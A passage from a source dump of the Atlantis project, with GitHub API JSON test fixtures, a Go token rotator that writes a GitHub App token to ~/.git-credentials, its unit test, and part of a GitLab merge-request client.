"full_name": "octocat/Hello-World", "owner": { "login": "octocat", "id": 1, "node_id": "MDQ6VXNlcjE=", "avatar_url": "https://github.com/images/error/octocat_happy.gif", "gravatar_id": "", "url": "https://api.github.com/users/octocat", "html_url": "https://github.com/octocat", "followers_url": "https://api.github.com/users/octocat/followers", "following_url": "https://api.github.com/users/octocat/following{/other_user}", "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", "organizations_url": "https://api.github.com/users/octocat/orgs", "repos_url": "https://api.github.com/users/octocat/repos", "events_url": "https://api.github.com/users/octocat/events{/privacy}", "received_events_url": "https://api.github.com/users/octocat/received_events", "type": "User", "site_admin": false }, "private": false, "html_url": "https://github.com/octocat/Hello-World", "description": "This your first repo!", "fork": true, "url": "https://api.github.com/repos/octocat/Hello-World", "archive_url": "http://api.github.com/repos/octocat/Hello-World/{archive_format}{/ref}", "assignees_url": "http://api.github.com/repos/octocat/Hello-World/assignees{/user}", "blobs_url": "http://api.github.com/repos/octocat/Hello-World/git/blobs{/sha}", "branches_url": "http://api.github.com/repos/octocat/Hello-World/branches{/branch}", "collaborators_url": "http://api.github.com/repos/octocat/Hello-World/collaborators{/collaborator}", "comments_url": "http://api.github.com/repos/octocat/Hello-World/comments{/number}", "commits_url": "http://api.github.com/repos/octocat/Hello-World/commits{/sha}", "compare_url": "http://api.github.com/repos/octocat/Hello-World/compare/{base}...{head}", "contents_url": "http://api.github.com/repos/octocat/Hello-World/contents/{+path}", "contributors_url": "http://api.github.com/repos/octocat/Hello-World/contributors", "deployments_url": "http://api.github.com/repos/octocat/Hello-World/deployments", "downloads_url": "http://api.github.com/repos/octocat/Hello-World/downloads", "events_url": "http://api.github.com/repos/octocat/Hello-World/events", "forks_url": "http://api.github.com/repos/octocat/Hello-World/forks", "git_commits_url": "http://api.github.com/repos/octocat/Hello-World/git/commits{/sha}", "git_refs_url": "http://api.github.com/repos/octocat/Hello-World/git/refs{/sha}", "git_tags_url": "http://api.github.com/repos/octocat/Hello-World/git/tags{/sha}", "git_url": "git:github.com/octocat/Hello-World.git", "issue_comment_url": "http://api.github.com/repos/octocat/Hello-World/issues/comments{/number}", "issue_events_url": "http://api.github.com/repos/octocat/Hello-World/issues/events{/number}", "issues_url": "http://api.github.com/repos/octocat/Hello-World/issues{/number}", "keys_url": "http://api.github.com/repos/octocat/Hello-World/keys{/key_id}", "labels_url": "http://api.github.com/repos/octocat/Hello-World/labels{/name}", "languages_url": "http://api.github.com/repos/octocat/Hello-World/languages", "merges_url": "http://api.github.com/repos/octocat/Hello-World/merges", "milestones_url": "http://api.github.com/repos/octocat/Hello-World/milestones{/number}", "notifications_url": "http://api.github.com/repos/octocat/Hello-World/notifications{?since,all,participating}", "pulls_url": "http://api.github.com/repos/octocat/Hello-World/pulls{/number}", "releases_url": "http://api.github.com/repos/octocat/Hello-World/releases{/id}", "ssh_url": "git@github.com:octocat/Hello-World.git", "stargazers_url": "http://api.github.com/repos/octocat/Hello-World/stargazers", "statuses_url": "http://api.github.com/repos/octocat/Hello-World/statuses/{sha}", "subscribers_url": "http://api.github.com/repos/octocat/Hello-World/subscribers", "subscription_url": "http://api.github.com/repos/octocat/Hello-World/subscription", "tags_url": "http://api.github.com/repos/octocat/Hello-World/tags", "teams_url": "http://api.github.com/repos/octocat/Hello-World/teams", "trees_url": "http://api.github.com/repos/octocat/Hello-World/git/trees{/sha}", "clone_url": "https://github.com/octocat/Hello-World.git", "mirror_url": "git:git.example.com/octocat/Hello-World", "hooks_url": "http://api.github.com/repos/octocat/Hello-World/hooks", "svn_url": "https://svn.github.com/octocat/Hello-World", "homepage": "https://github.com", "language": null, "forks_count": 9, "stargazers_count": 80, "watchers_count": 80, "size": 108, "default_branch": "main", "open_issues_count": 0, "topics": [ "octocat", "atom", "electron", "API" ], "has_issues": true, "has_projects": true, "has_wiki": true, "has_pages": false, "has_downloads": true, "archived": false, "pushed_at": "2011-01-26T19:06:43Z", "created_at": "2011-01-26T19:01:12Z", "updated_at": "2011-01-26T19:14:43Z", "permissions": { "admin": false, "push": false, "pull": true }, "allow_rebase_merge": true, "allow_squash_merge": true, "allow_merge_commit": true, "subscribers_count": 42, "network_count": 0 } }, "base": { "label": "main", "ref": "main", "sha": "6dcb09b5b57875f334f61aebed695e2e4193db5e", "user": { "login": "octocat", "id": 1, "node_id": "MDQ6VXNlcjE=", "avatar_url": "https://github.com/images/error/octocat_happy.gif", "gravatar_id": "", "url": "https://api.github.com/users/octocat", "html_url": "https://github.com/octocat", "followers_url": "https://api.github.com/users/octocat/followers", "following_url": "https://api.github.com/users/octocat/following{/other_user}", "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", "organizations_url": "https://api.github.com/users/octocat/orgs", "repos_url": "https://api.github.com/users/octocat/repos", "events_url": "https://api.github.com/users/octocat/events{/privacy}", "received_events_url": "https://api.github.com/users/octocat/received_events", "type": "User", "site_admin": false }, "repo": { "id": 1296269, "node_id": "MDEwOlJlcG9zaXRvcnkxMjk2MjY5", "name": "Hello-World", "full_name": "octocat/Hello-World", "owner": { "login": "octocat", "id": 1, "node_id": "MDQ6VXNlcjE=", "avatar_url": "https://github.com/images/error/octocat_happy.gif", "gravatar_id": "", "url": "https://api.github.com/users/octocat", "html_url": "https://github.com/octocat", "followers_url": "https://api.github.com/users/octocat/followers", "following_url": "https://api.github.com/users/octocat/following{/other_user}", "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", "organizations_url": "https://api.github.com/users/octocat/orgs", "repos_url": "https://api.github.com/users/octocat/repos", "events_url": "https://api.github.com/users/octocat/events{/privacy}", "received_events_url": "https://api.github.com/users/octocat/received_events", "type": "User", "site_admin": false }, "private": false, "html_url": "https://github.com/octocat/Hello-World", "description": "This your first repo!", "fork": true, "url": "https://api.github.com/repos/octocat/Hello-World", "archive_url": "http://api.github.com/repos/octocat/Hello-World/{archive_format}{/ref}", "assignees_url": "http://api.github.com/repos/octocat/Hello-World/assignees{/user}", "blobs_url": "http://api.github.com/repos/octocat/Hello-World/git/blobs{/sha}", "branches_url": "http://api.github.com/repos/octocat/Hello-World/branches{/branch}", "collaborators_url": "http://api.github.com/repos/octocat/Hello-World/collaborators{/collaborator}", "comments_url": "http://api.github.com/repos/octocat/Hello-World/comments{/number}", "commits_url": "http://api.github.com/repos/octocat/Hello-World/commits{/sha}", "compare_url": "http://api.github.com/repos/octocat/Hello-World/compare/{base}...{head}", "contents_url": "http://api.github.com/repos/octocat/Hello-World/contents/{+path}", "contributors_url": "http://api.github.com/repos/octocat/Hello-World/contributors", "deployments_url": "http://api.github.com/repos/octocat/Hello-World/deployments", "downloads_url": "http://api.github.com/repos/octocat/Hello-World/downloads", "events_url": "http://api.github.com/repos/octocat/Hello-World/events", "forks_url": "http://api.github.com/repos/octocat/Hello-World/forks", "git_commits_url": "http://api.github.com/repos/octocat/Hello-World/git/commits{/sha}", "git_refs_url": "http://api.github.com/repos/octocat/Hello-World/git/refs{/sha}", "git_tags_url": "http://api.github.com/repos/octocat/Hello-World/git/tags{/sha}", "git_url": "git:github.com/octocat/Hello-World.git", "issue_comment_url": "http://api.github.com/repos/octocat/Hello-World/issues/comments{/number}", "issue_events_url": "http://api.github.com/repos/octocat/Hello-World/issues/events{/number}", "issues_url": "http://api.github.com/repos/octocat/Hello-World/issues{/number}", "keys_url": "http://api.github.com/repos/octocat/Hello-World/keys{/key_id}", "labels_url": "http://api.github.com/repos/octocat/Hello-World/labels{/name}", "languages_url": "http://api.github.com/repos/octocat/Hello-World/languages", "merges_url": "http://api.github.com/repos/octocat/Hello-World/merges", "milestones_url": "http://api.github.com/repos/octocat/Hello-World/milestones{/number}", "notifications_url": "http://api.github.com/repos/octocat/Hello-World/notifications{?since,all,participating}", "pulls_url": "http://api.github.com/repos/octocat/Hello-World/pulls{/number}", "releases_url": "http://api.github.com/repos/octocat/Hello-World/releases{/id}", "ssh_url": "git@github.com:octocat/Hello-World.git", "stargazers_url": "http://api.github.com/repos/octocat/Hello-World/stargazers", "statuses_url": "http://api.github.com/repos/octocat/Hello-World/statuses/{sha}", "subscribers_url": "http://api.github.com/repos/octocat/Hello-World/subscribers", "subscription_url": "http://api.github.com/repos/octocat/Hello-World/subscription", "tags_url": "http://api.github.com/repos/octocat/Hello-World/tags", "teams_url": "http://api.github.com/repos/octocat/Hello-World/teams", "trees_url": "http://api.github.com/repos/octocat/Hello-World/git/trees{/sha}", "clone_url": "https://github.com/octocat/Hello-World.git", "mirror_url": "git:git.example.com/octocat/Hello-World", "hooks_url": "http://api.github.com/repos/octocat/Hello-World/hooks", "svn_url": "https://svn.github.com/octocat/Hello-World", "homepage": "https://github.com", "language": null, "forks_count": 9, "stargazers_count": 80, "watchers_count": 80, "size": 108, "default_branch": "main", "open_issues_count": 0, "topics": [ "octocat", "atom", "electron", "API" ], "has_issues": true, "has_projects": true, "has_wiki": true, "has_pages": false, "has_downloads": true, "archived": false, "pushed_at": "2011-01-26T19:06:43Z", "created_at": "2011-01-26T19:01:12Z", "updated_at": "2011-01-26T19:14:43Z", "permissions": { "admin": false, "push": false, "pull": true }, "allow_rebase_merge": true, "allow_squash_merge": true, "allow_merge_commit": true, "subscribers_count": 42, "network_count": 0 } }, "_links": { "self": { "href": "https://api.github.com/repos/octocat/Hello-World/pulls/1347" }, "html": { "href": "https://github.com/octocat/Hello-World/pull/1347" }, "issue": { "href": "https://api.github.com/repos/octocat/Hello-World/issues/1347" }, "comments": { "href": "https://api.github.com/repos/octocat/Hello-World/issues/1347/comments" }, "review_comments": { "href": "https://api.github.com/repos/octocat/Hello-World/pulls/1347/comments" }, "review_comment": { "href": "https://api.github.com/repos/octocat/Hello-World/pulls/comments{/number}" }, "commits": { "href": "https://api.github.com/repos/octocat/Hello-World/pulls/1347/commits" }, "statuses": { "href": "https://api.github.com/repos/octocat/Hello-World/statuses/6dcb09b5b57875f334f61aebed695e2e4193db5e" } }, "author_association": "OWNER", "merged": false, "mergeable": true, "rebaseable": true, "mergeable_state": "clean", "merged_by": { "login": "octocat", "id": 1, "node_id": "MDQ6VXNlcjE=", "avatar_url": "https://github.com/images/error/octocat_happy.gif", "gravatar_id": "", "url": "https://api.github.com/users/octocat", "html_url": "https://github.com/octocat", "followers_url": "https://api.github.com/users/octocat/followers", "following_url": "https://api.github.com/users/octocat/following{/other_user}", "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", "organizations_url": "https://api.github.com/users/octocat/orgs", "repos_url": "https://api.github.com/users/octocat/repos", "events_url": "https://api.github.com/users/octocat/events{/privacy}", "received_events_url": "https://api.github.com/users/octocat/received_events", "type": "User", "site_admin": false }, "comments": 10, "review_comments": 0, "maintainer_can_modify": true, "commits": 3, "additions": 100, "deletions": 3, "changed_files": 5 } ================================================ FILE: server/events/vcs/github/testdata/repo.json ================================================ { "id": 167228802, "node_id": "MDEwOlJlcG9zaXRvcnkxNjcyMjg4MDI=", "name": "atlantis", "full_name": "runatlantis/atlantis", "private": false, "owner": { "login": "runatlantis", "id": 1034429, "node_id": "MDQ6VXNlcjEwMzQ0Mjk=", "avatar_url": "https://avatars1.githubusercontent.com/u/1034429?v=4", "gravatar_id": "", "url": "https://api.github.com/users/runatlantis", "html_url": "https://github.com/runatlantis", "followers_url": "https://api.github.com/users/runatlantis/followers", "following_url": "https://api.github.com/users/runatlantis/following{/other_user}", "gists_url": "https://api.github.com/users/runatlantis/gists{/gist_id}", "starred_url": "https://api.github.com/users/runatlantis/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/runatlantis/subscriptions", "organizations_url": "https://api.github.com/users/runatlantis/orgs", "repos_url": "https://api.github.com/users/runatlantis/repos", "events_url": "https://api.github.com/users/runatlantis/events{/privacy}", "received_events_url": "https://api.github.com/users/runatlantis/received_events", "type": "User", "site_admin": false }, "html_url": "https://github.com/runatlantis/atlantis", "description": null, "fork": false, "url": "https://api.github.com/repos/runatlantis/atlantis", "forks_url": "https://api.github.com/repos/runatlantis/atlantis/forks", "keys_url": "https://api.github.com/repos/runatlantis/atlantis/keys{/key_id}", "collaborators_url": "https://api.github.com/repos/runatlantis/atlantis/collaborators{/collaborator}", "teams_url": "https://api.github.com/repos/runatlantis/atlantis/teams", "hooks_url": "https://api.github.com/repos/runatlantis/atlantis/hooks", "issue_events_url": "https://api.github.com/repos/runatlantis/atlantis/issues/events{/number}", "events_url": "https://api.github.com/repos/runatlantis/atlantis/events", "assignees_url": "https://api.github.com/repos/runatlantis/atlantis/assignees{/user}", "branches_url": "https://api.github.com/repos/runatlantis/atlantis/branches{/branch}", "tags_url": "https://api.github.com/repos/runatlantis/atlantis/tags", "blobs_url": "https://api.github.com/repos/runatlantis/atlantis/git/blobs{/sha}", "git_tags_url": "https://api.github.com/repos/runatlantis/atlantis/git/tags{/sha}", "git_refs_url": "https://api.github.com/repos/runatlantis/atlantis/git/refs{/sha}", "trees_url": "https://api.github.com/repos/runatlantis/atlantis/git/trees{/sha}", "statuses_url": "https://api.github.com/repos/runatlantis/atlantis/statuses/{sha}", "languages_url": "https://api.github.com/repos/runatlantis/atlantis/languages", "stargazers_url": "https://api.github.com/repos/runatlantis/atlantis/stargazers", "contributors_url": "https://api.github.com/repos/runatlantis/atlantis/contributors", "subscribers_url": "https://api.github.com/repos/runatlantis/atlantis/subscribers", "subscription_url": "https://api.github.com/repos/runatlantis/atlantis/subscription", "commits_url": "https://api.github.com/repos/runatlantis/atlantis/commits{/sha}", "git_commits_url": "https://api.github.com/repos/runatlantis/atlantis/git/commits{/sha}", "comments_url": "https://api.github.com/repos/runatlantis/atlantis/comments{/number}", "issue_comment_url": "https://api.github.com/repos/runatlantis/atlantis/issues/comments{/number}", "contents_url": "https://api.github.com/repos/runatlantis/atlantis/contents/{+path}", "compare_url": "https://api.github.com/repos/runatlantis/atlantis/compare/{base}...{head}", "merges_url": "https://api.github.com/repos/runatlantis/atlantis/merges", "archive_url": "https://api.github.com/repos/runatlantis/atlantis/{archive_format}{/ref}", "downloads_url": "https://api.github.com/repos/runatlantis/atlantis/downloads", "issues_url": "https://api.github.com/repos/runatlantis/atlantis/issues{/number}", "pulls_url": "https://api.github.com/repos/runatlantis/atlantis/pulls{/number}", "milestones_url": "https://api.github.com/repos/runatlantis/atlantis/milestones{/number}", "notifications_url": "https://api.github.com/repos/runatlantis/atlantis/notifications{?since,all,participating}", "labels_url": "https://api.github.com/repos/runatlantis/atlantis/labels{/name}", "releases_url": "https://api.github.com/repos/runatlantis/atlantis/releases{/id}", "deployments_url": "https://api.github.com/repos/runatlantis/atlantis/deployments", "created_at": "2019-01-23T17:58:45Z", "updated_at": "2019-02-08T21:46:28Z", "pushed_at": "2019-02-10T01:49:25Z", "git_url": "git://github.com/runatlantis/atlantis.git", "ssh_url": "git@github.com:runatlantis/atlantis.git", "clone_url": "https://github.com/runatlantis/atlantis.git", "svn_url": "https://github.com/runatlantis/atlantis", "homepage": null, "size": 32, "stargazers_count": 0, "watchers_count": 0, "language": "HCL", "has_issues": true, "has_projects": true, "has_downloads": true, "has_wiki": true, "has_pages": false, "forks_count": 0, "mirror_url": null, "archived": false, "open_issues_count": 1, "license": null, "forks": 0, "open_issues": 1, "watchers": 0, "default_branch": "main", "permissions": { "admin": true, "push": true, "pull": true }, "allow_squash_merge": true, "allow_merge_commit": true, "allow_rebase_merge": true, "network_count": 0, "subscribers_count": 0 } ================================================ FILE: server/events/vcs/github/token_rotator.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package github import ( "fmt" "time" "github.com/runatlantis/atlantis/server/events/vcs/common" "github.com/runatlantis/atlantis/server/logging" "github.com/runatlantis/atlantis/server/scheduled" ) // GithubTokenRotator continuously tries to rotate the github app access token every 30 seconds and writes the ~/.git-credentials file type TokenRotator interface { Run() GenerateJob() (scheduled.JobDefinition, error) } type tokenRotator struct { log logging.SimpleLogging githubCredentials Credentials githubHostname string gitUser string homeDirPath string } func NewTokenRotator( log logging.SimpleLogging, githubCredentials Credentials, githubHostname string, gitUser string, homeDirPath string) TokenRotator { return &tokenRotator{ log: log, githubCredentials: githubCredentials, githubHostname: githubHostname, gitUser: gitUser, homeDirPath: homeDirPath, } } // make sure interface is implemented correctly var _ TokenRotator = (*tokenRotator)(nil) func (r *tokenRotator) GenerateJob() (scheduled.JobDefinition, error) { return scheduled.JobDefinition{ Job: r, Period: 30 * time.Second, }, r.rotate() } func (r *tokenRotator) Run() { err := r.rotate() if err != nil { // at least log the error message here, as we want to notify the that user that the key rotation wasn't successful r.log.Err(err.Error()) } } func (r *tokenRotator) rotate() error { r.log.Debug("Refreshing Github tokens for .git-credentials") token, err := r.githubCredentials.GetToken() if err != nil { return fmt.Errorf("getting github token: %w", err) } r.log.Debug("Token successfully refreshed") // https://developer.github.com/apps/building-github-apps/authenticating-with-github-apps/#http-based-git-access-by-an-installation if err := common.WriteGitCreds(r.gitUser, token, r.githubHostname, r.homeDirPath, r.log, true); err != nil { return fmt.Errorf("writing ~/.git-credentials file: %w", err) } return nil } ================================================ FILE: server/events/vcs/github/token_rotator_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package github_test import ( "fmt" "os" "path/filepath" "testing" "time" "github.com/runatlantis/atlantis/server/events/vcs/github" "github.com/runatlantis/atlantis/server/events/vcs/github/testdata" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) func Test_githubTokenRotator_GenerateJob(t *testing.T) { logger := logging.NewNoopLogger(t) defer disableSSLVerification()() testServer, err := testdata.GithubAppTestServer(t) Ok(t, err) anonCreds := &github.AnonymousCredentials{} anonClient, err := github.New(testServer, anonCreds, github.Config{}, 0, logging.NewNoopLogger(t)) Ok(t, err) tempSecrets, err := anonClient.ExchangeCode(logger, "good-code") Ok(t, err) type fields struct { githubCredentials github.Credentials } tests := []struct { name string fields fields credsFileWritten bool wantErr bool }{ { name: "Should write .git-credentials file on start", fields: fields{&github.AppCredentials{ AppID: tempSecrets.ID, Key: []byte(testdata.PrivateKey), Hostname: testServer, }}, credsFileWritten: true, wantErr: false, }, { name: "Should return an error if pem data is missing or wrong", fields: fields{&github.AppCredentials{ AppID: tempSecrets.ID, Key: []byte("some bad formatted pem key"), Hostname: testServer, }}, credsFileWritten: false, wantErr: true, }, { name: "Should return an error if app id is missing or wrong", fields: fields{&github.AppCredentials{ AppID: 3819, Key: []byte(testdata.PrivateKey), Hostname: testServer, }}, credsFileWritten: false, wantErr: true, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { tmpDir := t.TempDir() t.Setenv("HOME", tmpDir) r := github.NewTokenRotator(logging.NewNoopLogger(t), tt.fields.githubCredentials, testServer, "x-access-token", tmpDir) got, err := r.GenerateJob() if (err != nil) != tt.wantErr { t.Errorf("githubTokenRotator.GenerateJob() error = %v, wantErr %v", err, tt.wantErr) return } if tt.credsFileWritten { credsFileContent := fmt.Sprintf(`https://x-access-token:some-token@%s`, testServer) actContents, err := os.ReadFile(filepath.Join(tmpDir, ".git-credentials")) Ok(t, err) Equals(t, credsFileContent, string(actContents)) } Equals(t, 30*time.Second, got.Period) }) } } ================================================ FILE: server/events/vcs/gitlab/client.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package gitlab import ( "context" "errors" "fmt" "net" "net/http" "net/url" "strings" "time" "github.com/hashicorp/go-version" "github.com/jpillora/backoff" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs/common" "github.com/runatlantis/atlantis/server/logging" gitlab "gitlab.com/gitlab-org/api/client-go" ) // maxCommentLength is the maximum number of chars allowed by Gitlab in a // single comment, reduced by 100 to allow comments to be hidden with a summary header // and footer. const maxCommentLength = 1000000 - 100 type Client struct { Client *gitlab.Client // Version is set to the server version. Version *version.Version // All GitLab groups configured in allowlists and policies ConfiguredGroups []string // PollingInterval is the time between successive polls, where applicable. PollingInterval time.Duration // PollingInterval is the total duration for which to poll, where applicable. PollingTimeout time.Duration // StatusRetryEnabled enables enhanced retry logic for pipeline status updates. StatusRetryEnabled bool } // commonMarkSupported is a version constraint that is true when this version of // GitLab supports CommonMark, a markdown specification. // See https://about.gitlab.com/2018/07/22/gitlab-11-1-released/ var commonMarkSupported = version.MustConstraints(version.NewConstraint(">=11.1")) // gitlabClientUnderTest is true if we're running under go test. var gitlabClientUnderTest = false // NewClient returns a valid GitLab client. func New(hostname string, token string, configuredGroups []string, logger logging.SimpleLogging) (*Client, error) { logger.Debug("Creating new GitLab client for %s", hostname) client := &Client{ ConfiguredGroups: configuredGroups, PollingInterval: time.Second, PollingTimeout: time.Second * 30, } // Create the client differently depending on the base URL. if hostname == "gitlab.com" { glClient, err := gitlab.NewClient(token) if err != nil { return nil, err } client.Client = glClient } else { // We assume the url will be over HTTPS if the user doesn't specify a scheme. absoluteURL := hostname if !strings.HasPrefix(hostname, "http://") && !strings.HasPrefix(hostname, "https://") { absoluteURL = "https://" + absoluteURL } url, err := url.Parse(absoluteURL) if err != nil { return nil, fmt.Errorf("parsing URL %q: %w", absoluteURL, err) } // Warn if this hostname isn't resolvable. The GitLab client // doesn't give good error messages in this case. ips, err := net.LookupIP(url.Hostname()) if err != nil { logger.Warn("unable to resolve %q: %s", url.Hostname(), err) } else if len(ips) == 0 { logger.Warn("found no IPs while resolving %q", url.Hostname()) } // Now we're ready to construct the client. absoluteURL = strings.TrimSuffix(absoluteURL, "/") apiURL := fmt.Sprintf("%s/api/v4/", absoluteURL) glClient, err := gitlab.NewClient(token, gitlab.WithBaseURL(apiURL)) if err != nil { return nil, err } client.Client = glClient } // Determine which version of GitLab is running. if !gitlabClientUnderTest { var err error client.Version, err = client.GetVersion(logger) if err != nil { return nil, err } logger.Info("GitLab host '%s' is running version %s", client.Client.BaseURL().Host, client.Version.String()) } return client, nil } // GetModifiedFiles returns the names of files that were modified in the merge request // relative to the repo root, e.g. parent/child/file.txt. func (g *Client) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { logger.Debug("Getting modified files for GitLab merge request %d", pull.Num) const maxPerPage = 100 var files []string nextPage := 1 // Constructing the api url by hand so we can do pagination. apiURL := fmt.Sprintf("projects/%s/merge_requests/%d/changes", url.QueryEscape(repo.FullName), pull.Num) for { opts := gitlab.ListOptions{ Page: nextPage, PerPage: maxPerPage, } req, err := g.Client.NewRequest("GET", apiURL, opts, nil) if err != nil { return nil, err } resp := new(gitlab.Response) mr := new(gitlab.MergeRequest) pollingStart := time.Now() for { resp, err = g.Client.Do(req, mr) if resp != nil { logger.Debug("GET %s returned: %d", apiURL, resp.StatusCode) } if err != nil { return nil, err } if mr.ChangesCount != "" { break } if time.Since(pollingStart) > g.PollingTimeout { return nil, fmt.Errorf("giving up polling %q after %s", apiURL, g.PollingTimeout.String()) } time.Sleep(g.PollingInterval) } for _, f := range mr.Changes { files = append(files, f.NewPath) // If the file was renamed, we'll want to run plan in the directory // it was moved from as well. if f.RenamedFile { files = append(files, f.OldPath) } } if resp.NextPage == 0 { break } nextPage = resp.NextPage } return files, nil } // CreateComment creates a comment on the merge request. func (g *Client) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) error { logger.Debug("Creating comment on GitLab merge request %d", pullNum) comments := common.SplitComment(logger, comment, maxCommentLength, 0, command) for _, c := range comments { _, resp, err := g.Client.Notes.CreateMergeRequestNote(repo.FullName, pullNum, &gitlab.CreateMergeRequestNoteOptions{Body: gitlab.Ptr(c)}) if resp != nil { logger.Debug("POST /projects/%s/merge_requests/%d/notes returned: %d", repo.FullName, pullNum, resp.StatusCode) } if err != nil { return err } } return nil } // ReactToComment adds a reaction to a comment. func (g *Client) ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) error { logger.Debug("Adding reaction '%s' to comment %d on GitLab merge request %d", reaction, commentID, pullNum) _, resp, err := g.Client.AwardEmoji.CreateMergeRequestAwardEmojiOnNote(repo.FullName, pullNum, int(commentID), &gitlab.CreateAwardEmojiOptions{Name: reaction}) if resp != nil { logger.Debug("POST /projects/%s/merge_requests/%d/notes/%d/award_emoji returned: %d", repo.FullName, pullNum, commentID, resp.StatusCode) } return err } func (g *Client) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) error { logger.Debug("Hiding previous command comments on GitLab merge request %d", pullNum) var allComments []*gitlab.Note nextPage := 0 for { logger.Debug("/projects/%v/merge_requests/%d/notes", repo.FullName, pullNum) comments, resp, err := g.Client.Notes.ListMergeRequestNotes(repo.FullName, pullNum, &gitlab.ListMergeRequestNotesOptions{ Sort: gitlab.Ptr("asc"), OrderBy: gitlab.Ptr("created_at"), ListOptions: gitlab.ListOptions{Page: nextPage}, }) if resp != nil { logger.Debug("GET /projects/%s/merge_requests/%d/notes returned: %d", repo.FullName, pullNum, resp.StatusCode) } if err != nil { return fmt.Errorf("listing comments: %w", err) } allComments = append(allComments, comments...) if resp.NextPage == 0 { break } nextPage = resp.NextPage } currentUser, _, err := g.Client.Users.CurrentUser() if err != nil { return fmt.Errorf("error getting currentuser: %w", err) } summaryHeader := fmt.Sprintf("
Superseded Atlantis %s", command) summaryFooter := "
" lineFeed := "\n" for _, comment := range allComments { // Only process non-system comments authored by the Atlantis user if comment.System || (comment.Author.Username != "" && !strings.EqualFold(comment.Author.Username, currentUser.Username)) { continue } body := strings.Split(comment.Body, "\n") if len(body) == 0 { continue } firstLine := strings.ToLower(body[0]) // Skip processing comments that don't contain the command or contain the summary header in the first line if !strings.Contains(firstLine, strings.ToLower(command)) || firstLine == strings.ToLower(summaryHeader) { continue } // If dir was specified, skip processing comments that don't contain the dir in the first line if dir != "" && !strings.Contains(firstLine, strings.ToLower(dir)) { continue } logger.Debug("Updating merge request note: Repo: '%s', MR: '%d', comment ID: '%d'", repo.FullName, pullNum, comment.ID) supersededComment := summaryHeader + lineFeed + comment.Body + lineFeed + summaryFooter + lineFeed _, resp, err := g.Client.Notes.UpdateMergeRequestNote(repo.FullName, pullNum, comment.ID, &gitlab.UpdateMergeRequestNoteOptions{Body: &supersededComment}) if resp != nil { logger.Debug("PUT /projects/%s/merge_requests/%d/notes/%d returned: %d", repo.FullName, pullNum, comment.ID, resp.StatusCode) } if err != nil { return fmt.Errorf("updating comment %d: %w", comment.ID, err) } } return nil } // PullIsApproved returns true if the merge request was approved. func (g *Client) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (approvalStatus models.ApprovalStatus, err error) { logger.Debug("Checking if GitLab merge request %d is approved", pull.Num) approvals, resp, err := g.Client.MergeRequests.GetMergeRequestApprovals(repo.FullName, pull.Num) if resp != nil { logger.Debug("GET /projects/%s/merge_requests/%d/approvals returned: %d", repo.FullName, pull.Num, resp.StatusCode) } if err != nil { return approvalStatus, err } if approvals.ApprovalsLeft > 0 { return approvalStatus, nil } return models.ApprovalStatus{ IsApproved: true, }, nil } // PullIsMergeable returns true if the merge request can be merged. // In GitLab, there isn't a single field that tells us if the pull request is // mergeable so for now we check the merge_status and approvals_before_merge // fields. // In order to check if the repo required these, we'd need to make another API // call to get the repo settings. // It's also possible that GitLab implements their own "mergeable" field in // their API in the future. // See: // - https://gitlab.com/gitlab-org/gitlab-ee/issues/3169 // - https://gitlab.com/gitlab-org/gitlab-ce/issues/42344 func (g *Client) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, vcsstatusname string, _ []string) (models.MergeableStatus, error) { logger.Debug("Checking if GitLab merge request %d is mergeable", pull.Num) mr, resp, err := g.Client.MergeRequests.GetMergeRequest(repo.FullName, pull.Num, nil) if resp != nil { logger.Debug("GET /projects/%s/merge_requests/%d returned: %d", repo.FullName, pull.Num, resp.StatusCode) } if err != nil { return models.MergeableStatus{}, err } // Prevent nil pointer error when mr.HeadPipeline is empty // See: https://github.com/runatlantis/atlantis/issues/1852 commit := pull.HeadCommit if mr.HeadPipeline != nil { commit = mr.HeadPipeline.SHA } // Get project configuration project, resp, err := g.Client.Projects.GetProject(mr.ProjectID, nil) if resp != nil { logger.Debug("GET /projects/%d returned: %d", mr.ProjectID, resp.StatusCode) } if err != nil { return models.MergeableStatus{}, err } // Get Commit Statuses statuses, _, err := g.Client.Commits.GetCommitStatuses(mr.ProjectID, commit, nil) if resp != nil { logger.Debug("GET /projects/%d/commits/%s/statuses returned: %d", mr.ProjectID, commit, resp.StatusCode) } if err != nil { return models.MergeableStatus{}, err } for _, status := range statuses { // Ignore any commit statuses with 'atlantis/apply' as prefix if strings.HasPrefix(status.Name, fmt.Sprintf("%s/%s", vcsstatusname, command.Apply.String())) { continue } if !status.AllowFailure && project.OnlyAllowMergeIfPipelineSucceeds && status.Status != "success" { return models.MergeableStatus{ IsMergeable: false, Reason: 